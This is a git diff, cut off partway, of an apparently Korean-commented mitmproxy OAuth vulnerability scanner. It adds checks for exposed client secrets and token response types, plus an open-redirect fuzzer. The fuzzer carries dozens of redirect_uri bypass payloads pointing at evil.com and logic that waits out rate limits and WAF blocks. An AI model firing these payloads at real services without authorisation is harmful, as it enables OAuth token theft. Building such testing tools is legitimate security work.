diff --git a/addon/access_token.py b/addon/access_token.py index 786c5c2..749ee0d 100644 --- a/addon/access_token.py +++ b/addon/access_token.py @@ -119,7 +119,7 @@ class AccessTokenScanner: print("[TOKENDEBUG] No matched.") return None - def _is_implicit_flow(request_url: str) -> bool: + def _is_implicit_flow(self, request_url: str) -> bool: """ URL의 파라미터에서 OAuth Implicit Flow 패턴을 체크합니다. @@ -135,7 +135,7 @@ class AccessTokenScanner: query_params = parse_qs(parsed_url.query) # 필요한 파라미터들이 모두 존재하는지 확인 - required_params = ['client_id', 'redirect_uri', 'response_type'] + required_params = ['redirect_uri', 'response_type'] for param in required_params: if param not in query_params: @@ -145,7 +145,7 @@ class AccessTokenScanner: response_type_values = query_params.get('response_type', []) # response_type 파라미터가 존재하고 값 중에 'token'이 있는지 확인 - return 'token' in response_type_values + return 'token' in response_type_values or 'id_token' in response_type_values except Exception: return False \ No newline at end of file diff --git a/addon/client_secret.py b/addon/client_secret.py new file mode 100644 index 0000000..00c7386 --- /dev/null +++ b/addon/client_secret.py @@ -0,0 +1,29 @@ +from lib.report_vuln import report_vuln +from urllib.parse import urlparse, parse_qs + +class ClientSecret: + def get_target_from_query(self, query: str, target: str) -> str | None: + if not query: + return None + parsed = parse_qs(query) + scope_values = parsed.get(target, []) + if scope_values: + return scope_values[0] + return None + + async def test(self, flow): + req = flow.request + + parsed = urlparse(req.pretty_url) + query = parsed.query + + query_client_id = self.get_target_from_query(query, "client_id") + query_client_secret = self.get_target_from_query(query, "client_secret") + + if query_client_id and query_client_secret: + report_vuln( + title="OAuth Client Secret Exposure", + desc=f"Client ID and Secret found in request: {query_client_id}, {query_client_secret}", + status="CRITICAL", + uri=req.pretty_url + ) diff --git a/addon/csrf_check.py b/addon/csrf_check.py index 867191f..7ff3daa 100644 --- a/addon/csrf_check.py +++ b/addon/csrf_check.py @@ -9,7 +9,7 @@ from lib.utils.is_oauth_uri import is_oauth_uri class CsrfChecker: nonce_params = { - "state", "nonce", "as", "frame_id", "csrf_token", "csrf" + "state", "nonce", "csrf_token", "csrf" } def get_header(self, headers: http.Headers, name: str) -> Optional[str]: diff --git a/addon/google_login_hint.py b/addon/google_login_hint.py index fee0584..3abaf73 100644 --- a/addon/google_login_hint.py +++ b/addon/google_login_hint.py @@ -44,8 +44,8 @@ class GoogleLoginHint: # 요청 URL 수정 - URL과 호스트 모두 업데이트 flow.request.url = new_url - flow.request.pretty_url = new_url print(f"🔄 Modified URL: {new_url}") + def _is_google_oauth_url(self, url): """Google OAuth URL인지 확인""" google_oauth_domains = [ diff --git a/addon/google_response_type_token.py b/addon/google_response_type_token.py new file mode 100644 index 0000000..12cdf92 --- /dev/null +++ b/addon/google_response_type_token.py @@ -0,0 +1,52 @@ +from lib.report_vuln import report_vuln +import httpx +from lib.utils.is_oauth_uri import is_oauth_uri +from urllib.parse import urlparse, parse_qs + +class GoogleResponseTypeToken: + def get_taregt_from_query(self, query: str, target: str) -> str | None: + if not query: + return None + parsed = parse_qs(query) + scope_values = parsed.get(target, []) + if scope_values: + return scope_values[0] + return None + + async def test(self, flow): + req = flow.request + + if not is_oauth_uri(req.pretty_url): + return + + if req.pretty_host != "accounts.google.com": + return + + if "response_type=token" in req.pretty_url: + return + + url = f"{req.pretty_url}".replace("response_type=code", "response_type=token") + + async with httpx.AsyncClient(follow_redirects=True) as cli: + response = await cli.request( + method=req.method, + url=url, + headers=req.headers, + content=req.get_content(), + ) + + + if response.status_code >= 400: + return + + if "400." in response.text: + return + + if "response_type=token" in str(response.url): + report_vuln( + "Google Response Type Token", + f"Response type token allowed in {req.pretty_url}", + "HIGH", + str(response.url) + ) + diff --git a/addon/init.py b/addon/init.py index d820f92..aafde91 100644 --- a/addon/init.py +++ b/addon/init.py @@ -3,10 +3,11 @@ import asyncio from pkce_check import PKCEDowngradeChecker from addon.scope_detection import ScopeDetection from csrf_check import CsrfChecker -from nonce_check import NonceChecker -from redirect_uri_check import RedirectBypassChecker +from client_secret import ClientSecret +from addon.open_redirect_check import OpenRedirectChecker from access_token import AccessTokenScanner from addon.google_login_hint import GoogleLoginHint +from addon.google_response_type_token import GoogleResponseTypeToken import os from dotenv import load_dotenv from lib.utils.try_catch import try_catch @@ -17,6 +18,8 @@ false_true_varifing_task = FalseTrueVarifingTask() load_dotenv(override=True) +_open_redirect_checker = OpenRedirectChecker() + class AddonBase: """ Base class for addons. @@ -29,26 +32,61 @@ class AddonBase: else: self.google_login_hint = None + def should_ignore(self, flow: http.HTTPFlow) -> bool: + """Check if the request should be ignored.""" + ignore_domains = [ + ".googleapis.com", + "android.clients.google.com", # Added missing comma here + ".adtrafficquality.google", + ".googlesyndication.com", + "cdn.jsdelivr.net", + "update.googleapis.com", + ".google-analytics.com", + ".gstatic.com" + ] + # Ignore .googleapis.com domains + for domain in ignore_domains: + if domain in flow.request.pretty_host: + return True + + # Ignore static files (JS, CSS, fonts, images, etc.) + # Split on '?' to remove query parameters before checking extension + path = flow.request.path.split('?')[0].lower() + static_extensions = [ + '.js', '.css', '.woff2', '.woff', '.ttf', '.otf', '.svg', + '.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.bmp', + '.tiff', '.tif', '.webm', '.mp4', '.avi', '.mov', '.pdf', '.md', + '.txt', '.csv' + ] + + if any(path.endswith(ext) for ext in static_extensions): + return True + + return False + async def request(self, flow: http.HTTPFlow): + if self.google_login_hint: + await try_catch(self.google_login_hint.request(flow)) + if false_true_varifing_task.is_verifing_false_true(): return tasks = [ - try_catch(self.google_login_hint.request(flow)) if self.google_login_hint else None, try_catch(PKCEDowngradeChecker().test(flow)), ] await asyncio.gather(*tasks) async def response(self, flow: http.HTTPFlow): - if false_true_varifing_task.is_verifing_false_true(): + if false_true_varifing_task.is_verifing_false_true() or self.should_ignore(flow): return tasks = [ try_catch(CsrfChecker().response(flow)), try_catch(ScopeDetection().test(flow)), - # try_catch(NonceChecker().check_nonce_in_request(flow)), + try_catch(ClientSecret().test(flow)), try_catch(AccessTokenScanner().scan(flow)), - try_catch(RedirectBypassChecker().test(flow)), + try_catch(GoogleResponseTypeToken().test(flow)), + try_catch(_open_redirect_checker.test(flow)), ] await asyncio.gather(*tasks) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py new file mode 100644 index 0000000..6f2684c --- /dev/null +++ b/addon/open_redirect_check.py @@ -0,0 +1,1722 @@ +from mitmproxy import http +import aiohttp +import asyncio +import random +import time +from urllib.parse import urlparse, parse_qs, urlencode, urlunparse, unquote +from lib.report_vuln import report_vuln + +GLOBAL_REDIRECT_TRACKING = { + 'tracked_redirect_uris': set(), + 'last_cleanup': time.time() +} + +class RedirectRateLimiter: + """OAuth Open Redirect 체크 전용 rate limiter""" + def __init__(self): + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.should_abandon_target = False + + # 설정값 (전체 패턴 기준으로 최적화) + self.base_delay = 2.0 # 기본 2초 지연 + self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 + self.max_delay = 5.0 # 최대 5초 지연 + self.block_duration = 300 # 5분 차단 + self.success_speedup = 0.8 # 성공시 속도 증가 + + def reset_for_new_target(self): + """새로운 타겟을 위해 상태 리셋""" + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.should_abandon_target = False + print("[RATE_LIMIT] 새로운 타겟을 위해 Rate Limiter 리셋됨") + + async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: + """속도 조절 및 차단 대기""" + current_time = time.time() + + if self.should_abandon_target: + print(f"[TARGET_ABANDON] ⏹️ 타겟 포기됨 - 테스트 중단") + return False + + # 차단 중인지 확인 + if current_time < self.blocked_until: + remaining = int(self.blocked_until - current_time) + + # 카운트다운 (10초 단위) + for i in range(remaining, 0, -1): + if i % 10 == 0 or i <= 10: + minutes = i // 60 + seconds = i % 60 + time_str = f"{minutes}분 {seconds}초" if minutes > 0 else f"{seconds}초" + print(f"\r⏳ 퍼징 재개까지: {time_str} 남음", end="", flush=True) + await asyncio.sleep(1) + + print(f"\n✅ 대기 완료! {pattern_name} 패턴 퍼징 재개...") + self.blocked_until = 0 + + # 일반적인 퍼징 속도 조절 + delay = self._calculate_delay() + time_since_last = current_time - self.last_request + + if time_since_last < delay: + wait_time = delay - time_since_last + if wait_time > 2: + print(f"[FUZZER] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") + await asyncio.sleep(wait_time) + + self.last_request = time.time() + self.request_count += 1 + + return True + + def _calculate_delay(self) -> float: + """적응형 지연 시간 계산""" + delay = self.base_delay + + # 연속 실패에 따른 백오프 + if self.consecutive_failures > 0: + backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) + delay += backoff + + # 전체 실패율에 따른 조정 + if self.request_count > 5: + failure_rate = self.failure_count / self.request_count + if failure_rate > 0.3: # 실패율 30% 초과시 + delay *= (1 + failure_rate) + + # 최대값 제한 + delay = min(delay, self.max_delay) + + # 랜덤 지터 (±20%) + jitter = random.uniform(0.8, 1.2) + return delay * jitter + + def record_success(self): + """성공 기록""" + self.consecutive_failures = 0 + # 성공시 약간 속도 증가 (학습 효과) + if self.base_delay > 0.5: + self.base_delay *= self.success_speedup + + def record_failure(self, error_msg: str = ""): + """실패 기록 및 차단 감지""" + self.failure_count += 1 + self.consecutive_failures += 1 + + # 연속 5회 실패시 타겟 포기 + if self.consecutive_failures >= 5: + self.should_abandon_target = True # ← 포기 플래그 설정 + print(f"[TARGET_ABANDON] 🚫 연속 실패 {self.consecutive_failures}회 - 타겟 포기") + return + + # 웹사이트 방어 메커니즘 감지 패턴들 + rate_limit_patterns = [ + '429', # Too Many Requests + 'rate limit', 'rate-limit', 'ratelimit', + 'too many requests', 'request limit', + 'throttled', 'throttling' + ] + + # 웹방화벽/보안 솔루션 차단 패턴들 + security_block_patterns = [ + 'cloudflare', 'security check', + 'access denied', 'forbidden', + 'blocked', 'banned', 'suspended', + 'captcha', 'recaptcha', + 'bot detected', 'suspicious activity' + ] + + error_lower = str(error_msg).lower() + + if any(pattern in error_lower for pattern in rate_limit_patterns): + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 웹사이트 Rate Limit 감지 - {self.block_duration}초 대기 예정") + return + + elif any(pattern in error_lower for pattern in security_block_patterns): + self.blocked_until = time.time() + self.block_duration + print(f"[SECURITY_BLOCK] 🛡️ 웹방화벽/보안 솔루션 차단 - {self.block_duration}초 대기 예정") + return + + if self.consecutive_failures >= 5: + short_wait = 120 + self.blocked_until = time.time() + short_wait + print(f"[FUZZER_PAUSE] ⏸️ 연속 실패 {self.consecutive_failures}회 - {short_wait}초 대기") + +# 글로벌 레이트 리미터 +redirect_limiter = RedirectRateLimiter() + +class BypassPayload: + """ 우회 패턴 정의 """ + def __init__(self, name: str, mutate_func, description: str): + self.name = name + self.mutate = mutate_func #우회 url 만드는 함수 + self.description = description + +class OpenRedirectChecker: + def __init__(self): + self.testing_targets = set() # 현재 테스트 중인 타겟들 + self.tested_endpoints = set() # 이미 테스트 완료된 엔드포인트들 + self.session = None + self._initialize_bypass_payloads() # bypass_payloads를 __init__에서 초기화 + + """ 우회 페이로드 목록 """ + def _initialize_bypass_payloads(self): + self.bypass_payloads = [ + BypassPayload( + name=r"@", + mutate_func=self._mutate_pattern1, + description=r"Host bypass attack using @ symbol: evil.com@target.com" + ), + + BypassPayload( + name="jwt_none_algorithm", + mutate_func=self._mutate_pattern47, + description="JWT state parameter 'none' algorithm bypass" + ), + + BypassPayload( + name="state_parameter_pollution", + mutate_func=self._mutate_pattern49, + description="Multiple state parameters pollution attack" + ), + + BypassPayload( + name=r"backslash_bypass", + mutate_func=self._mutate_pattern9, + description=r"Backslash URL parsing bypass: target.com\\evil.com" + ), + + BypassPayload( + name=r"double_slash", + mutate_func=self._mutate_pattern10, + description=r"Double slash bypass: target.com//evil.com" + ), + + BypassPayload( + name=r"wildcard_subdomain_bypass", + mutate_func=self._mutate_pattern8, + description=r"Wildcard subdomain bypass: attacker.target.com" + ), + + BypassPayload( + name=r"question_mark", + mutate_func=self._mutate_pattern11, + description=r"Question mark bypass: target.com?evil.com" + ), + + BypassPayload( + name=r"%ff@", + mutate_func=self._mutate_pattern2, + description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" + ), + + BypassPayload( + name=r"%ff_subdomain", + mutate_func=self._mutate_pattern3, + description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com" + ), + + BypassPayload( + name=r"fullwidth_slash_direct", + mutate_func=self._mutate_pattern4_1, + description=r"Direct fullwidth slash bypass: target.com/@evil.com" + ), + + BypassPayload( + name=r"fullwidth_slash_encoded", + mutate_func=self._mutate_pattern4_2, + description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_direct", + mutate_func=self._mutate_pattern4_3, + description=r"Direct fullwidth backslash bypass: target.com\@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_encoded", + mutate_func=self._mutate_pattern4_4, + description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" + ), + + BypassPayload( + name=r"mixed_backslash_types", + mutate_func=self._mutate_pattern5, + description=r"Mixed backslash types: target.com\\\evil.com" + ), + + BypassPayload( + name=r"mixed_backslash_fullwidth_slash", + mutate_func=self._mutate_pattern6, + description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" + ), + + BypassPayload( + name=r"path_traversal_basic", + mutate_func=self._mutate_pattern7_1, + description=r"Basic path traversal: target.com/path/../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_deep", + mutate_func=self._mutate_pattern7_2, + description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_absolute", + mutate_func=self._mutate_pattern7_3, + description=r"Absolute path traversal: target.com/../evil.com" + ), + BypassPayload( + name=r"path_traversal_mixed", + mutate_func=self._mutate_pattern7_4, + description=r"Mixed slash traversal: target.com/path/.././.././evil.com" + ), + BypassPayload( + name=r"path_traversal_semicolon", + mutate_func=self._mutate_pattern7_5, + description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" + ), + BypassPayload( + name=r"path_traversal_encoded", + mutate_func=self._mutate_pattern7_6, + description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" + ), + BypassPayload( + name=r"path_traversal_double_encoded", + mutate_func=self._mutate_pattern7_7, + description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" + ), + BypassPayload( + name=r"path_traversal_hex", + mutate_func=self._mutate_pattern7_8, + description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" + ), + BypassPayload( + name=r"path_traversal_unicode", + mutate_func=self._mutate_pattern7_9, + description=r"Unicode dot traversal: target.com/path/../../evil.com" + ), + BypassPayload( + name=r"path_traversal_backslash", + mutate_func=self._mutate_pattern7_10, + description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" + ), + BypassPayload( + name=r"path_traversal_overlong", + mutate_func=self._mutate_pattern7_11, + description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" + ), + BypassPayload( + name=r"path_traversal_null", + mutate_func=self._mutate_pattern7_12, + description=r"Null byte traversal: target.com/path/../%00../evil.com" + ), + + BypassPayload( + name=r"idn_homograph", + mutate_func=self._mutate_pattern12, + description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" + ), + + BypassPayload( + name=r"ipv6_bypass", + mutate_func=self._mutate_pattern13, + description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" + ), + + BypassPayload( + name=r"mixed_case_idn_combo", + mutate_func=self._mutate_pattern14, + description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" + ), + + BypassPayload( + name=r"fragment_bypass", + mutate_func=self._mutate_pattern15, + description=r"Fragment identifier bypass: target.com#@evil.com" + ), + + BypassPayload( + name=r"combined_bypass", + mutate_func=self._mutate_pattern16, + description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" + ), + + BypassPayload( + name=r"path_backslash_domain", + mutate_func=self._mutate_pattern17, + description=r"Path backslash domain bypass: target.com\\.evil.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_basic", + mutate_func=self._mutate_pattern18_1, + description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_full", + mutate_func=self._mutate_pattern18_2, + description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_special", + mutate_func=self._mutate_pattern18_3, + description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_double", + mutate_func=self._mutate_pattern18_4, + description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_reverse", + mutate_func=self._mutate_pattern18_5, + description=r"Reverse control chars: evil.com%20%0A%09@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_repeat", + mutate_func=self._mutate_pattern18_6, + description=r"Repeated control chars: evil.com%09%09%09@target.com" + ), + + BypassPayload( + name=r"subdomain_confusion_hyphen", + mutate_func=self._mutate_pattern19, + description=r"Subdomain confusion with hyphen: target-com.evil.com" + ), + + BypassPayload( + name=r"semicolon_userinfo_bypass", + mutate_func=self._mutate_pattern20, + description=r"Semicolon userinfo bypass: target.com;evil.com" + ), + + BypassPayload( + name=r"tab_character_bypass", + mutate_func=self._mutate_pattern21, + description=r"Tab character bypass using %09: evil.com%09@target.com" + ), + + BypassPayload( + name=r"space_character_bypass", + mutate_func=self._mutate_pattern22, + description=r"Space character bypass using %20: evil.com%20@target.com" + ), + + BypassPayload( + name=r"form_feed_bypass", + mutate_func=self._mutate_pattern23, + description=r"Form feed character bypass using %0c: evil.com%0c@target.com" + ), + + BypassPayload( + name=r"vertical_tab_bypass", + mutate_func=self._mutate_pattern24, + description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" + ), + + BypassPayload( + name=r"%0a@", + mutate_func=self._mutate_pattern25, + description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + ), + + BypassPayload( + name=r"%0d@", + mutate_func=self._mutate_pattern26, + description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + ), + + BypassPayload( + name=r"crlf_injection", + mutate_func=self._mutate_pattern27, + description=r"CRLF injection bypass: evil.com%0D%0A@target.com" + ), + + BypassPayload( + name=r"mixed_case_scheme", + mutate_func=self._mutate_pattern28, + description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" + ), + + BypassPayload( + name=r"scheme_dot_injection", + mutate_func=self._mutate_pattern29, + description=r"Scheme dot injection: https.://evil.com@target.com" + ), + + BypassPayload( + name=r"port_encoded_bypass", + mutate_func=self._mutate_pattern30, + description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" + ), + + BypassPayload( + name=r"ampersand_encoded_bypass", + mutate_func=self._mutate_pattern31, + description=r"Ampersand encoded bypass: target.com &%40evil.com" + ), + + BypassPayload( + name=r"underscore_encoded_bypass", + mutate_func=self._mutate_pattern32, + description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" + ), + + BypassPayload( + name=r"comma_separator_bypass", + mutate_func=self._mutate_pattern33, + description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" + ), + + BypassPayload( + name=r"schemeless_bypass", + mutate_func=self._mutate_pattern34, + description=r"Schemeless bypass: //evil.com" + ), + + BypassPayload( + name=r"schema_colon_bypass", + mutate_func=self._mutate_pattern35, + description=r"Schema colon bypass: http:evil.com" + ), + + BypassPayload( + name=r"null_byte_prefix", + mutate_func=self._mutate_pattern36, + description=r"Null byte prefix: %00http://evil.com" + ), + + BypassPayload( + name=r"unicode_spaces_bypass", + mutate_func=self._mutate_pattern37, + description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" + ), + + BypassPayload( + name=r"bracket_encoded_bypass", + mutate_func=self._mutate_pattern38, + description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" + ), + + BypassPayload( + name=r"protocol_omit_backslash", + mutate_func=self._mutate_pattern39, + description=r"Protocol omit with backslash: \\\\evil.com\\target.com" + ), + + BypassPayload( + name=r"query_internal_bypass", + mutate_func=self._mutate_pattern40, + description=r"Internal query bypass: target.com?url=target.com&redirect=evil.com" + ), + + BypassPayload( + name=r"anchor_at_combo", + mutate_func=self._mutate_pattern41, + description=r"Anchor + @ combo: target.com#evil.com@target.com" + ), + + BypassPayload( + name=r"emoji_domain_bypass", + mutate_func=self._mutate_pattern42, + description=r"Emoji domain bypass: https://😈.evil.com" + ), + + BypassPayload( + name=r"punycode_idn_bypass", + mutate_func=self._mutate_pattern43, + description=r"Punycode IDN bypass: https://xn--e1afmkfd.xn--p1ai" + ), + + BypassPayload( + name=r"backtick_at_combo", + mutate_func=self._mutate_pattern44, + description=r"Backtick @ combo: evil.com`@target.com" + ), + + BypassPayload( + name=r"complex_encoding_mix", + mutate_func=self._mutate_pattern45, + description=r"Complex encoding mix: evil%2Ecom%09%0A%FF@target.com" + ), + + BypassPayload( + name=r"question_backslash_combo", + mutate_func=self._mutate_pattern46, + description=r"Question backslash combo: target.com?\\evil.com" + ), + + BypassPayload( + name="jwt_empty_signature", + mutate_func=self._mutate_pattern48, + description="JWT state parameter empty signature bypass" + ), + + BypassPayload( + name="state_case_insensitive", + mutate_func=self._mutate_pattern50, + description="State parameter case insensitive bypass: State, STATE, state" + ), + + BypassPayload( + name="jwt_header_manipulation", + mutate_func=self._mutate_pattern51, + description="JWT header manipulation bypass (typ, alg changes)" + ), + + BypassPayload( + name="jwt_payload_pollution", + mutate_func=self._mutate_pattern52, + description="JWT payload pollution with malicious claims" + ), + ] + + """ 우회 URL 생성 목록 """ + # 1. @ + def _mutate_pattern1(self, original: str) -> str: + return f"https://evil.com@{original}" + + # 2. %ff@ - 유니코드 바이트 우회 + def _mutate_pattern2(self, original: str) -> str: + return f"https://evil%ff@{original}" + + # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 + def _mutate_pattern3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://evil%ff.{parsed.netloc}{path_part}" + + # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC + # 4_1. 직접 전각 슬래시 + def _mutate_pattern4_1(self, original: str) -> str: + return f"https://{original}/@evil.com" + + # 4_2. URL 인코딩된 전각 슬래시(%EF%BC%8F) + def _mutate_pattern4_2(self, original: str) -> str: + return f"https://{original}%EF%BC%8F@evil.com" + + # 4_3. 직접 전각 백슬래시 + def _mutate_pattern4_3(self, original: str) -> str: + return f"https://{original}\@evil.com" + + # 4_4. URL 인코딩된 전각 백슬래시(%EF%BC%BC) + def _mutate_pattern4_4(self, original: str) -> str: + return f"https://{original}%EF%BC%BC@evil.com" + + # 5. 백슬래시 + 전각 백슬래시 조합 + def _mutate_pattern5(self, original: str) -> str: + return f"https://{original}\\\evil.com" + + # 6. 백슬래시 + 전각 슬래시 + def _mutate_pattern6(self, original: str) -> str: + return f"https://{original}\\/evil.com" + + # 7. 경로 순회 - Path traversal bypass + # 7-1. 기본 경로 순회 + def _mutate_pattern7_1(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/../../../evil.com" + + # 7-2. 더 많은 경로 순회 + def _mutate_pattern7_2(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" + + # 7-3. 절대 경로로 우회 + def _mutate_pattern7_3(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}/../evil.com" + + # 7-4. 혼합 슬래시 패턴 + def _mutate_pattern7_4(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/.././.././evil.com" + + # 7-5. 점 뒤에 추가 문자 + def _mutate_pattern7_5(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" + + # 7-6. URL 인코딩된 경로 순회 + def _mutate_pattern7_6(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %2e = ., %2f = / + return f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" + + # 7-7. 이중 URL 인코딩 + def _mutate_pattern7_7(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %252e = 이중 인코딩된 . + return f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" + + # 7-8. 16진수 인코딩 + def _mutate_pattern7_8(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 0x2e2e2f = ../ + return f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" + + # 7-9. 유니코드 정규화 우회 + def _mutate_pattern7_9(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 유니코드 점 문자들 (U+002E, U+FF0E 등) + return f"https://{parsed.netloc}{base_path}/../../evil.com" + + # 7-10. 백슬래시 + 경로 순회 조합 + def _mutate_pattern7_10(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" + + # 7-11. 오버롱 UTF-8 인코딩 + def _mutate_pattern7_11(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %c0%ae = 오버롱 UTF-8로 인코딩된 점 + return f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" + + # 7-12. 널 바이트 삽입 + def _mutate_pattern7_12(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %00 = 널 바이트 + return f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" + + # 8. 와일드카드 서브도메인 우회 + def _mutate_pattern8(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 + return f"https://attacker.{parsed.netloc}{path_part}" + + # 9. 백슬래시 우회 - Dart SDK Issue #50075 + def _mutate_pattern9(self, original: str) -> str: + return f"https://{original}\\evil.com" + + # 10. 이중 슬래시 + def _mutate_pattern10(self, original: str) -> str: + return f"https://{original}//evil.com" + + # 11. 물음표 우회 + def _mutate_pattern11(self, original: str) -> str: + return f"https://{original}?evil.com" + + # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 + def _mutate_pattern12(self, original: str) -> str: + # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 + return f"https://еvil.example@{original}" + + # 13. IPv6 주소 우회 - 안전한 버전 + def _mutate_pattern13(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + + # 안전한 IPv6 @ 우회 패턴 + if "localhost" in parsed.netloc: + mutated = f"https://evil.example@[::1]:3000{path_part}" + else: + # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) + mutated = f"https://evil.example@[2001:db8::1]{path_part}" + + return mutated + + # 14. 대소문자 + IDN 문자 조합으로 필터 우회 + def _mutate_pattern14(self, original: str) -> str: + return f"https://ЕVIL.example@{original}" # Е는 키릴 문자 + + # 15. Fragment identifier 우회 + def _mutate_pattern15(self, original: str) -> str: + # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 + return f"https://{original}#@evil.com" + + # 16. 복합 우회 패턴 - 여러 기법 동시 적용 + def _mutate_pattern16(self, original: str) -> str: + # @ 우회 + 이중 슬래시 + 경로 순회 조합 + return f"https://evil.com@{original}//../../evil.com" + + # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) + def _mutate_pattern17(self, original: str) -> str: + # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 + return f"https://{original}\\.evil.com" + + # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) + def _mutate_pattern18_1(self, original: str) -> str: + # 탭 + 줄바꿈 + 공백 + return f"https://evil.com%09%0A%20@{original}" + + # 18_2. 모든 제어 문자 조합 + def _mutate_pattern18_2(self, original: str) -> str: + # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 + return f"https://evil.com%0A%0D%09%0B%0C%20@{original}" + + # 18_3. 제어 문자 + 특수 문자 + def _mutate_pattern18_3(self, original: str) -> str: + return f"https://evil.com%09%0A%20%00%FF@{original}" + + # 18_4. 이중 인코딩 + 제어 문자 + def _mutate_pattern18_4(self, original: str) -> str: + return f"https://evil.com%2509%250A%2520@{original}" + + # 18_5. 역순 제어 문자 + def _mutate_pattern18_5(self, original: str) -> str: + return f"https://evil.com%20%0A%09@{original}" + + # 18_6. 반복 제어 문자 + def _mutate_pattern18_6(self, original: str) -> str: + return f"https://evil.com%09%09%09@{original}" + + # 19. 서브도메인 혼동 우회 (하이픈 버전) + def _mutate_pattern19(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # target.com → target-com.evil.com + host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') + return f"https://{host_with_hyphen}.evil.com{path_part}" + + # 20. 세미콜론 